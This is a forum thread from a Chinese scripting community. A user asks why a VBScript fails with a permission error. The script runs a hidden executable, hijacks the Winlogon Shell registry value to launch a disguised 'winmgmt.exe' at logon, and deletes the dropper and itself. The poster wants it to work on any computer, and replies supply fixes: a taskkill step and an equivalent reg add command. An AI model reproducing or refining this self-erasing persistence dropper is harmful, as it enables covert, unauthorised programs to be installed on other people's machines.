找回密码
 注册
搜索
[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
查看: 36893|回复: 17

VBS写入注册表为何提示没有权限?

[复制链接]
发表于 2010-2-26 17:11:28 | 显示全部楼层 |阅读模式
怎么不能写入注册表呢 提示没有权限!
脚本如下:
  1. dim wsh
  2. set wsh=CreateObject("WScript.Shell")
  3. wsh.run "%windir%\zhuceji.exe",0
  4. set sm=Wscript.CreateObject("WScript.Shell")
  5. sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe"
  6. set WshShell=WScript.CreateObject("WScript.Shell")
  7. WScript.Sleep 2000
  8. Set fso=CreateObject("Scripting.FileSystemObject")
  9. f=fso.DeleteFile ("zhuceji.exe")
  10. f=fso.DeleteFile (WScript.ScriptName)
复制代码
发表于 2010-2-26 17:59:18 | 显示全部楼层
给大家分享一下你的解决方法吧
 楼主| 发表于 2010-2-26 18:08:28 | 显示全部楼层

55555555555555

55555我在找解决办法啊 提示没有权限!
  错误行9
    字符 1
    错误 没有权限

有时候可以
发表于 2010-2-26 18:34:15 | 显示全部楼层
出错的时候看看当前登录的用户是不是管理员
 楼主| 发表于 2010-2-26 21:00:50 | 显示全部楼层
是啊 还有办法修改吗
发表于 2010-2-26 21:11:42 | 显示全部楼层
出错的时候,有没有杀软或者注册表包含软件在运行?
在别人电脑上也是有时行有时不行?
 楼主| 发表于 2010-2-26 21:23:37 | 显示全部楼层

h

这个倒没试 !在我的电脑上,第一次可以 ,后来就不可以了
发表于 2010-2-26 22:05:28 | 显示全部楼层
打开注册表编辑器,看看以下分支的读写是怎样的,截图上来看看。
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
 楼主| 发表于 2010-2-26 22:35:43 | 显示全部楼层
晕了 怎么没有最后一项呢
发表于 2010-2-26 23:32:04 | 显示全部楼层
右键单击Winlogon,权限,结果贴出来看看。
 楼主| 发表于 2010-2-27 10:43:30 | 显示全部楼层
我是想在任何一台电脑上都有权限写入注册表啊!
 楼主| 发表于 2010-2-27 18:07:00 | 显示全部楼层
说说啊 朋友们?“等着呢
发表于 2010-2-27 23:43:19 | 显示全部楼层
请先看清楚错误提示:
错误行9
字符 1
错误 没有权限
它是说你没有删除文件的权限,而不是操作注册表的权限。 简单推测错误原因是你的 zhuceji.exe 仍然在运行中,因此不能删除。 如果你的 zhuceji.exe 是运行后自动退出的,可以把第三行改成
  1. wsh.run "%windir%\zhuceji.exe",0,true
复制代码
如果不是,在你的 WScript.Sleep 2000 下面加上结束进程的代码
  1. WScript.Sleep 2000
  2. wsh.run "taskkill /f /im zhuceji.exe",0,true
  3. WScript.Sleep 300
复制代码
 楼主| 发表于 2010-2-28 10:37:41 | 显示全部楼层
谢谢谢谢  !!!!! 可是他无法写入注册表!
发表于 2010-2-28 17:50:43 | 显示全部楼层
在CMD窗口里面运行这个命令结果如何?
  1. reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "Explorer.exe %systemroot%\system32\winmgmt.exe" /f
复制代码
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|批处理之家 ( 渝ICP备10000708号 )

GMT+8, 2026-3-17 04:03 , Processed in 0.021058 second(s), 8 queries , File On.

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表